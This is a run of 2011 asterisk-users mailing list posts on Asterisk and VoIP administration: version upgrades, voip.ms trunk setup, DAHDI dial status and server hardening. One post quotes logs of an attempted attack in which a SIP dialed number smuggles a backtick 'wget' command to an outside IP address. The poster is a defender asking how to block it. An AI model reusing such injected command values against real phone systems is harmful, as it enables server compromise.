[asterisk-users] broadcast
Hi List, Is there any way by which I can broadcast any audio file to all members into the conference ? I don't want to play file individual channels. -- - Thanks and regards Virendra Bhati +91-9172341457 Software Engineer -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Question about voip.ms service.
I also found this... seems like voip.ms outbound is broken for now! http://pbxinaflash.com/forum/showthread.php?t=10735 On Sun, Sep 11, 2011 at 10:34 PM, naren naren.sa...@gmail.com wrote: Hi, I am trying to set up my asterisk 1.8.5 with voip.ms. I had no problem with the incoming, but my outgoing is not working. If at all possible, I would like to stick with SIP. Since the original poster (Glen) had mentioned that he had gotten outgoing working, I was wondering if you would be kind enough to post some thoughts on that. Were you able to get it working with just the default example sip.conf / extensions.conf settings that they have on their website? I have pretty much the same settings. When I dial out, the destination rings, but I can't hear a ringback tone from on the source side ( I am using a PAP2T router with a phone). I have set up outgoing with actionvoip before and that is working fine, so I am thinking my router settings for my ports are correct - but I am no expert. I would really appreciate it if you could post the relevant section of your sip.conf for me. Thanks! Naren On Thu, Jun 9, 2011 at 3:22 PM, Steve Edwards asterisk@sedwards.comwrote: On Thu, 9 Jun 2011, John Novack wrote: I use voip.ms and have no issues using IAX and Asterisk 1.4.xx 'slam-dunk.' Though they suggest SIP, I chose IAX and have 4569 UDP open in my firewall a Their on line config samples just work! is Suggest you check your firewall and your configs, and above all post some more information IAX If you really want to upset some, top post as I have just done! Agreed. The real issue is communication, top bottom or in the middle Sometimes, it's just about being considerate to 'the next guy.' -- Thanks in advance, --**--** - Steve Edwards sedwa...@sedwards.com Voice: +1-760-468-3867 PST Newline Fax: +1-760-731-3000 -- __**__**_ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/**mailman/listinfo/asterisk-**usershttp://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8
Hello i am not sure if this has been discussed before.. i have an asterisk 1.4 server that i managed to test it with 500+ concurrent calls and hit 800 concurrent calls with no problem CPU USAGE 90% i wanted to upgrade to 1.6 .. i did and when tested it .. the server crashed at 100 concurrent calls. my question is .. is there a different in resource consumption between all versions? how come 1.4 could handle over 500 calls while 1.6 crashed at 100? please advise? Tarek Sawah Information Technology Adviser Integrated Digital Systems CCNP, MCSE, RHCE, TELECOM USA: +1 386 492 9993 -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8
On Mon, Sep 12, 2011 at 11:19 AM, Tarek Sawah tareksa...@hotmail.com wrote: i wanted to upgrade to 1.6 .. i did and when tested it .. the server crashed at 100 concurrent calls. please advise? Nobody will know why your asterisk crashed unless you follow the instructions here: https://wiki.asterisk.org/wiki/display/AST/Getting+a+Backtrace Please try that, and then rerun your call test. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8
I personally would not bother with 1.6 unless you needed some feature in that branch. 1.4 is the stable branch, but it seems that all of the resources are being channeled into 1.8 and 10.0, so 1.6 is a rabbit hole you really shouldn't be headed into. -Original Message- From: asterisk-users-boun...@lists.digium.com [mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of Tarek Sawah Sent: Monday, September 12, 2011 10:19 AM To: Asterisk Users Subject: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8 Hello i am not sure if this has been discussed before.. i have an asterisk 1.4 server that i managed to test it with 500+ concurrent calls and hit 800 concurrent calls with no problem CPU USAGE 90% i wanted to upgrade to 1.6 .. i did and when tested it .. the server crashed at 100 concurrent calls. my question is .. is there a different in resource consumption between all versions? how come 1.4 could handle over 500 calls while 1.6 crashed at 100? please advise? Tarek Sawah Information Technology Adviser Integrated Digital Systems CCNP, MCSE, RHCE, TELECOM USA: +1 386 492 9993 -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8
Actually i had to upgrade to 1.6 due to a provider problem with session-timers and RTP data .. then i downgraded again to 1.4. do you suggest that i test 1.8 instead of 1.6? Tarek Sawah Information Technology Adviser Integrated Digital Systems CCNP, MCSE, RHCE, TELECOM USA: +1 386 492 9993 From: da...@debsinc.com To: asterisk-users@lists.digium.com Date: Mon, 12 Sep 2011 10:54:35 -0500 Subject: Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8 I personally would not bother with 1.6 unless you needed some feature in that branch. 1.4 is the stable branch, but it seems that all of the resources are being channeled into 1.8 and 10.0, so 1.6 is a rabbit hole you really shouldn't be headed into. -Original Message- From: asterisk-users-boun...@lists.digium.com [mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of Tarek Sawah Sent: Monday, September 12, 2011 10:19 AM To: Asterisk Users Subject: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8 Hello i am not sure if this has been discussed before.. i have an asterisk 1.4 server that i managed to test it with 500+ concurrent calls and hit 800 concurrent calls with no problem CPU USAGE 90% i wanted to upgrade to 1.6 .. i did and when tested it .. the server crashed at 100 concurrent calls. my question is .. is there a different in resource consumption between all versions? how come 1.4 could handle over 500 calls while 1.6 crashed at 100? please advise? Tarek Sawah Information Technology Adviser Integrated Digital Systems CCNP, MCSE, RHCE, TELECOM USA: +1 386 492 9993 -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8
I think that is your best bet. 1.8.6 unless somebody has a good reason not to. -Original Message- From: asterisk-users-boun...@lists.digium.com [mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of Tarek Sawah Sent: Monday, September 12, 2011 11:00 AM To: Asterisk Users Subject: Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8 Actually i had to upgrade to 1.6 due to a provider problem with session-timers and RTP data .. then i downgraded again to 1.4. do you suggest that i test 1.8 instead of 1.6? Tarek Sawah Information Technology Adviser Integrated Digital Systems CCNP, MCSE, RHCE, TELECOM USA: +1 386 492 9993 From: da...@debsinc.com To: asterisk-users@lists.digium.com Date: Mon, 12 Sep 2011 10:54:35 -0500 Subject: Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8 I personally would not bother with 1.6 unless you needed some feature in that branch. 1.4 is the stable branch, but it seems that all of the resources are being channeled into 1.8 and 10.0, so 1.6 is a rabbit hole you really shouldn't be headed into. -Original Message- From: asterisk-users-boun...@lists.digium.com [mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of Tarek Sawah Sent: Monday, September 12, 2011 10:19 AM To: Asterisk Users Subject: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8 Hello i am not sure if this has been discussed before.. i have an asterisk 1.4 server that i managed to test it with 500+ concurrent calls and hit 800 concurrent calls with no problem CPU USAGE 90% i wanted to upgrade to 1.6 .. i did and when tested it .. the server crashed at 100 concurrent calls. my question is .. is there a different in resource consumption between all versions? how come 1.4 could handle over 500 calls while 1.6 crashed at 100? please advise? Tarek Sawah Information Technology Adviser Integrated Digital Systems CCNP, MCSE, RHCE, TELECOM USA: +1 386 492 9993 -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Question about voip.ms service.
Never have had a problem with their IAX service. And ( for now ) a little hedge against the hackers. Since Asterisk is involved, why not use IAX anyway? John Novack naren wrote: I also found this... seems like voip.ms http://voip.ms outbound is broken for now! http://pbxinaflash.com/forum/showthread.php?t=10735 On Sun, Sep 11, 2011 at 10:34 PM, naren naren.sa...@gmail.com mailto:naren.sa...@gmail.com wrote: Hi, I am trying to set up my asterisk 1.8.5 with voip.ms http://voip.ms. I had no problem with the incoming, but my outgoing is not working. If at all possible, I would like to stick with SIP. Since the original poster (Glen) had mentioned that he had gotten outgoing working, I was wondering if you would be kind enough to post some thoughts on that. Were you able to get it working with just the default example sip.conf / extensions.conf settings that they have on their website? I have pretty much the same settings. When I dial out, the destination rings, but I can't hear a ringback tone from on the source side ( I am using a PAP2T router with a phone). I have set up outgoing with actionvoip before and that is working fine, so I am thinking my router settings for my ports are correct - but I am no expert. I would really appreciate it if you could post the relevant section of your sip.conf for me. Thanks! Naren On Thu, Jun 9, 2011 at 3:22 PM, Steve Edwards asterisk@sedwards.com mailto:asterisk@sedwards.com wrote: On Thu, 9 Jun 2011, John Novack wrote: I use voip.ms http://voip.ms and have no issues using IAX and Asterisk 1.4.xx 'slam-dunk.' Though they suggest SIP, I chose IAX and have 4569 UDP open in my firewall a Their on line config samples just work! is Suggest you check your firewall and your configs, and above all post some more information IAX If you really want to upset some, top post as I have just done! Agreed. The real issue is communication, top bottom or in the middle Sometimes, it's just about being considerate to 'the next guy.' -- Thanks in advance, - Steve Edwards sedwa...@sedwards.com mailto:sedwa...@sedwards.com Voice: +1-760-468-3867 tel:%2B1-760-468-3867 PST Newline Fax: +1-760-731-3000 tel:%2B1-760-731-3000 -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- Dog is my Co-pilot -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] Asterisk is keep on sending Register request
Hi, *Scenario 1* I am trying to register a VoIP trunk, which is keep on sending the register request and I am not getting any response from the SIP Server, this I am trying from one network. *Scenario 2* From another network if I try the same VoIP trunk, the account got registered. One thing here to notice is the same account has already been worked in *Scenario 1* and now which is not working without any reason. Any comments would be much appreciated. Regards -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8
On 11-09-12 12:07 PM, Danny Nicholas wrote: I think that is your best bet. 1.8.6 unless somebody has a good reason not to. You actually might want to test with 1.8.7.0-rc1, this will fix 2 big issue. A performance regressions and timerfd. -- Paul Belanger Digium, Inc. | Software Developer twitter: pabelanger | IRC: pabelanger (Freenode) Check us out at: http://digium.com http://asterisk.org -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
I'm about to start building my asterisk server and I can't seem to find anything that discusses the pros and cons of installing the OS (Fedora 15) as console only or GUI, ie install KDE as well. So, other than a bit of disk space, is there any reason why I shouldn't install KDE when I set it up ? Is there any great disadvantage to running the server in init level 5 (ie KDE, xorg, etc) running in the background, but not being logged in, versus init level 3 ? (Or whatever they call these things these days..., ie F15 uses systemd...) FWIW, my server hardware will sit on a server rack in the utility room. I might drag a display and keyboard down there once in a while to troubleshoot and/or do maintenance, but mostly I'd ssh in and probably use a remote desktop app to work on it. FWIW, I'm OK doing things via the CLI, but sometimes its really nice to have graphical tools. I look forward to your input. Thanks -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
I personally would never install a GUI o/s. By doing so you always open yourself up to more security concerns.. Packages / ports / etc. Course one might argue - it's behind a firewall.. In my professional experience with running numerous ISP and VoITSPs the rule has always been install the minimum needed software to accomplish the goal. From: asterisk-users-boun...@lists.digium.com [mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of linux guy Sent: Monday, September 12, 2011 2:21 PM To: Asterisk Users Mailing List - Non-Commercial Discussion Subject: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ? I'm about to start building my asterisk server and I can't seem to find anything that discusses the pros and cons of installing the OS (Fedora 15) as console only or GUI, ie install KDE as well. So, other than a bit of disk space, is there any reason why I shouldn't install KDE when I set it up ? Is there any great disadvantage to running the server in init level 5 (ie KDE, xorg, etc) running in the background, but not being logged in, versus init level 3 ? (Or whatever they call these things these days..., ie F15 uses systemd...) FWIW, my server hardware will sit on a server rack in the utility room. I might drag a display and keyboard down there once in a while to troubleshoot and/or do maintenance, but mostly I'd ssh in and probably use a remote desktop app to work on it. FWIW, I'm OK doing things via the CLI, but sometimes its really nice to have graphical tools. I look forward to your input. Thanks -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
linux guy wrote: So, other than a bit of disk space, is there any reason why I shouldn't install KDE when I set it up ? KDE has other associated background services that may slow a machine down. If you're looking for a DE, I'd go with something light weight. LXDE is my preferred choice. But mostly I run the graphical tools for Mandriva/Mageia over SSH. Doug -- Ben Franklin quote: Those who would give up Essential Liberty to purchase a little Temporary Safety, deserve neither Liberty nor Safety. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
On Mon, Sep 12, 2011 at 12:24 PM, Robert Huddleston rhuddles...@gmail.comwrote: I personally would never install a GUI o/s… By doing so you always open yourself up to more security concerns.. Packages / ports / etc. ** ** Course one might argue – “it’s behind a firewall”…. ** ** In my professional experience with running numerous ISP and VoITSPs the rule has always been install the minimum needed software to accomplish the goal. Thanks for the reply. I was worried the list would find it a trite and irritating question. I was expecting someone to tell me that even with the GUI component running in the background, the graphical processes have the potential to mess up the streams. I guess I should confess that I'm always a bit surprised to remember that asterisk doesn't require a real time OS ! Have you really exposed much more if you install the GUI components and normally run at init 3 ? Thanks again. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Unexpected behavior change from Asterisk 1.6.2.14 to Asterisk 1.8.5.0
El 01/09/11 14:11, Richard Mudgett escribió: In our office, we were running an Asterisk 1.6.2.14 machine with DAHDI 2.3.0.1, FreePBX 2.8.1 and an analog DAHDI card with 8 FXO ports. This machine had several DAHDI trunks defined in the FreePBX interface, each one containing a single DAHDI channel. It also had a few outgoing routes defined in FreePBX, each of those grouping several of these DAHDI trunks. This setup worked correctly until the hard drive started failing. After backing up most of the data, we changed the hard drive and installed Asterisk 1.8.5.0 and DAHDI 2.4.1.2 with the same FreePBX 2.8.1. We then noticed that outgoing calls using the analog card were failing if the first tried channel was busy, instead of trying the next channel in the outgoing route. We traced this problem to a situation described in a FreePBX ticket: http://www.freepbx.org/v2/ticket/5008 . The logs in the old hard drive showed the following whenever a channel was busy: [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s@macro-dialout-trunk:19] Dial(SIP/514-07bb, DAHDI/4/3904170,300,tTwW) in new stack [2011-08-30 08:55:39] WARNING[2597] app_dial.c: Unable to create channel of type 'DAHDI' (cause 0 - Unknown) [2011-08-30 08:55:39] VERBOSE[2597] app_dial.c: == Everyone is busy/congested at this time (1:0/0/1) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s@macro-dialout-trunk:20] NoOp(SIP/514-07bb, Dial failed for some reason with DIALSTATUS = CHANUNAVAIL and HANGUPCAUSE = 0) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s@macro-dialout-trunk:21] Goto(SIP/514-07bb, s-CHANUNAVAIL,1) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Goto (macro-dialout-trunk,s-CHANUNAVAIL,1) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s-CHANUNAVAIL@macro-dialout-trunk:1] Set(SIP/514-07bb, RC=0) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s-CHANUNAVAIL@macro-dialout-trunk:2] Goto(SIP/514-07bb, 0,1) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Goto (macro-dialout-trunk,0,1) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [0@macro-dialout-trunk:1] Goto(SIP/514-07bb, continue,1) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Goto (macro-dialout-trunk,continue,1) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [continue@macro-dialout-trunk:1] GotoIf(SIP/514-07bb, 1?noreport) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Goto (macro-dialout-trunk,continue,3) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [continue@macro-dialout-trunk:3] NoOp(SIP/514-07bb, TRUNK Dial failed due to CHANUNAVAIL HANGUPCAUSE: 0 - failing through to other trunks) in new stack In the old setup (with Asterisk 1.6.2.14), the error type reported by app_dial was 0-Unknown and the dialing status was CHANUNAVAIL. [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s@macro-dialout-trunk:19] Dial(SIP/213-00e7, DAHDI/5/2201177,300,tTwW) in new stack [Aug 31 12:10:13] WARNING[17513] app_dial.c: Unable to create channel of type 'DAHDI' (cause 17 - User busy) [Aug 31 12:10:13] VERBOSE[17513] app_dial.c: == Everyone is busy/congested at this time (1:1/0/0) [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s@macro-dialout-trunk:20] NoOp(SIP/213-00e7, Dial failed for some reason with DIALSTATUS = BUSY and HANGUPCAUSE = 17) in new stack [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s@macro-dialout-trunk:21] Goto(SIP/213-00e7, s-BUSY,1) in new stack [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Goto (macro-dialout-trunk,s-BUSY,1) [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s-BUSY@macro-dialout-trunk:1] NoOp(SIP/213-00e7, Dial failed due to trunk reporting BUSY - giving up) in new stack [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s-BUSY@macro-dialout-trunk:2] PlayTones(SIP/213-00e7, busy) in new stack In the new setup (with Asterisk 1.8.5.0), the error type reported by app_dial is 17-User busy and the dialing status is BUSY. The FreePBX context is programmed so that it considers BUSY, along with NOANSWER, INVALIDNMBR and CHANGED, as nonrecoverable errors that abort the dialout attempt, which seems reasonable. The problem is that the new setup is returing BUSY instead of CHANUNAVAIL when the particular channel that was tried is in use by a different call. We worked around the issue by applying the recommendation suggested in the ticket (create DAHDI groups in chan_dahdi.conf and use these as trunks). However, I believe the previous behavior was correct and the new behavior to be in error. The workaround suggested by the ticket will not work in a scenario where a DAHDI group has all of its channels busy with calls, and the administrator intends additional calls to be routed through non-DAHDI trunks (such as SIP/IAX trunks or custom trunks). My questions: Is the new behavior the intended one? If the new behavior is intentional, then how should I set up
Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
Well you are correct - I did not include a discussion on performance impacts including disk I/O etc. It is true that by installing a GUI o/s additional init.d (startup) services will fire.. Additional libraries will be inclusive etc. This is why I say minimal is always better. Also take for example risk mitigation with security aspects. If you minimize the number of libraries (think windows DLL's) you have installed you also thus minimize your potential exposure. Again - this is just my recommendation and experience. Firewalls are great at blocking things and in theory - sure you could nmap your box and look for open ports and conceal them. I remember a Solaris engineer we had once - he bragged and bragged about his qualifications on Sun Solaris. Just to find out that he installed a bunch of GUI tools just so that he could install Oracle drivers. Further he didn't remove or lock down that exposure. Start minimal and work your way up. Now for my poke / razz - GUI's in server grade operating systems have made people a little to reliant on them. From: asterisk-users-boun...@lists.digium.com [mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of linux guy Sent: Monday, September 12, 2011 2:29 PM To: Asterisk Users Mailing List - Non-Commercial Discussion Subject: Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ? On Mon, Sep 12, 2011 at 12:24 PM, Robert Huddleston rhuddles...@gmail.com wrote: I personally would never install a GUI o/s. By doing so you always open yourself up to more security concerns.. Packages / ports / etc. Course one might argue - it's behind a firewall.. In my professional experience with running numerous ISP and VoITSPs the rule has always been install the minimum needed software to accomplish the goal. Thanks for the reply. I was worried the list would find it a trite and irritating question. I was expecting someone to tell me that even with the GUI component running in the background, the graphical processes have the potential to mess up the streams. I guess I should confess that I'm always a bit surprised to remember that asterisk doesn't require a real time OS ! Have you really exposed much more if you install the GUI components and normally run at init 3 ? Thanks again. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
On Mon, 12 Sep 2011, linux guy wrote: I'm about to start building my asterisk server and I can't seem to find anything that discusses the pros and cons of installing the OS (Fedora 15) as console only or GUI, ie install KDE as well. Parts left out don't get broke. Install the absolute minimum OS (deselect everything) and 'yum in' the packages you actually need. When you configure Asterisk, set 'autoload = no' and explicitly load the modules you actually use. Is there any great disadvantage to running the server in init level 5 (ie KDE, xorg, etc) running in the background, but not being logged in, versus init level 3 ? (Or whatever they call these things these days..., ie F15 uses systemd...) The 'run level' you configure Asterisk to start at is not dependent on the interface. You can chkconfig Asterisk to run at levels 2345 regardless of the interface installed. FWIW, I'm OK doing things via the CLI, but sometimes its really nice to have graphical tools. None of the servers I manage have a GUI installed. All are administrated over ssh. The only situation where having a GUI installed would be convenient would be if I were local to the console and wanted to run wireshark. -- Thanks in advance, - Steve Edwards sedwa...@sedwards.com Voice: +1-760-468-3867 PST Newline Fax: +1-760-731-3000 -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
On Mon, Sep 12, 2011 at 12:21:06PM -0600, linux guy wrote: FWIW, I'm OK doing things via the CLI, but sometimes its really nice to have graphical tools. To add to what everyone else has said: if you _really_ need to run a graphical tool on the server, you can always ssh -X into it without having to have a full desktop installed there. (As for wireshark: tcpdump on site, then bring the capture file home to analyse with wireshark. Works for me...) Roger -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] new sort of shell attack attempt via SIP?
I have seen this recently in my logs as well [2011-09-10 20:34:33] VERBOSE[14939] logger.c: -- Executing [00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@from-sip-external:1] NoOp(SIP/5060-002c, Received incoming SIP connection from unknown peer to 00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`;) in new stack [2011-09-10 20:34:33] VERBOSE[14939] logger.c: -- Executing [00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@from-sip-external:2] Set(SIP/5060-002c, DID=00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`;) in new stack [2011-09-10 20:34:33] VERBOSE[14939] logger.c: -- Executing [00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@from-sip-external:3] Goto(SIP/5060-002c, s,1) in new stack [2011-09-10 20:34:33] VERBOSE[14939] logger.c: -- Goto (from-sip-external,s,1) [2011-09-10 20:34:33] VERBOSE[14939] logger.c: -- Executing [s@from-sip-external:1] GotoIf(SIP/5060-002c, 0?from-trunk,00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`,1;) in new stack [2011-09-10 20:34:33] VERBOSE[14939] logger.c: -- Goto (from-sip-external,//91.223.89.94/V.php`,1) So can this be blocked via fail2ban and by adding a new REGEX ? Thanks Saqib -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
See comments inline. On Mon, Sep 12, 2011 at 2:21 PM, linux guy linuxguy...@gmail.com wrote: I'm about to start building my asterisk server and I can't seem to find anything that discusses the pros and cons of installing the OS (Fedora 15) as console only or GUI, ie install KDE as well. If you want an OS that is going to be supported a year from now, don't use Fedora. Go for CentOS which is essentially Red Hat Enterprise, Fedora is pretty much beta RHEL. It's EOL is one year from my understanding. You want to install the very minimum as most people would agree, why do you think you need a GUI. Best practice is to only install the bare minimum on a server. So, other than a bit of disk space, is there any reason why I shouldn't install KDE when I set it up ? It has and will cause issues. I have installed KDE or whatever but booted to init 3 for a couple of machines. I could go to init 5 if I had to, but I never did had to. I don't see a single pro, but there are many cons. What benefit do you get from KDE? Why do you want it. Is this just going to be an asterisk server or a desktop? Is there any great disadvantage to running the server in init level 5 (ie KDE, xorg, etc) running in the background, but not being logged in, versus init level 3 ? (Or whatever they call these things these days..., ie F15 uses systemd...) FWIW, my server hardware will sit on a server rack in the utility room. I might drag a display and keyboard down there once in a while to troubleshoot and/or do maintenance, but mostly I'd ssh in and probably use a remote desktop app to work on it. How does remote desktop help you over an SSH CLI? FWIW, I'm OK doing things via the CLI, but sometimes its really nice to have graphical tools. Ok, I can understand, I used to be like this for a while. I am a huge 